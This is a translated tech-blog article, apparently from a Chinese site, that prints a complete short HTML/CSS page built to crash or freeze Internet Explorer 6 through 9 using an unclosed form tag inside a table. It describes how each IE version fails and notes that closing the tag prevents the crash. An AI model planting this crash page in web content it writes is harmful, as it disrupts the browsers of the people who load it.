Article introduction of Wulin.com (www.vevb.com): HTML code that can kill any version of IE.
Many people hate Internet Explorer very much, and as West Halloween is approaching, let's look at something really scary - how to kill any version of IE with a simple piece of HTML and CSS. We just need to simply open any text editor, copy the following code in, and save the file, such as SomeFilename.html.
<html><head>
<style type=text/css>
#a {
margin:0 10px 10px;
}
#b {
width:100%;
}
</style>
<title>IE Crasher</title>
</head>
<body>
<table><tr><td>
<div id=a>
<form id=b>
<input type=text name=test/>
</div>
</td><td width=1></td></tr></table>
</body></html>
Then open it with Internet Explorer - haha! It died miserably for you to see.
This bug exists in almost all the popular IE versions now, from IE6 to the 6th platform preview of Internet Explorer 9 that has just been released. In IE6, the page often appears blank, but the entire window cannot interact. In IE8, the crash comes thoroughly. IE9 Beta enhances its robustness. After my actual test, this page will cause the entire process to be unresponsive. Sometimes IE9 will prompt you with problems with the web page, but this cannot avoid the reality of crashes.
In fact, this problem has been discovered very early, and there is also a dedicated website (please spread this link with caution). There will be no problem with opening that page by browsers other than IE, but IE has inexplicably crashed.
Of course, if you are careful, you will find that the <form> tag in the above HTML code is not closed. We need to use the </form> close tag after the <input> tag to make this code compliant with the specification. The standardized code will not crash IE, which seems not to be the fault of IE.
However, when other browsers can have high fault tolerance, IE does not have it, and even when IE9 still does not have it. This is the tragedy of IE.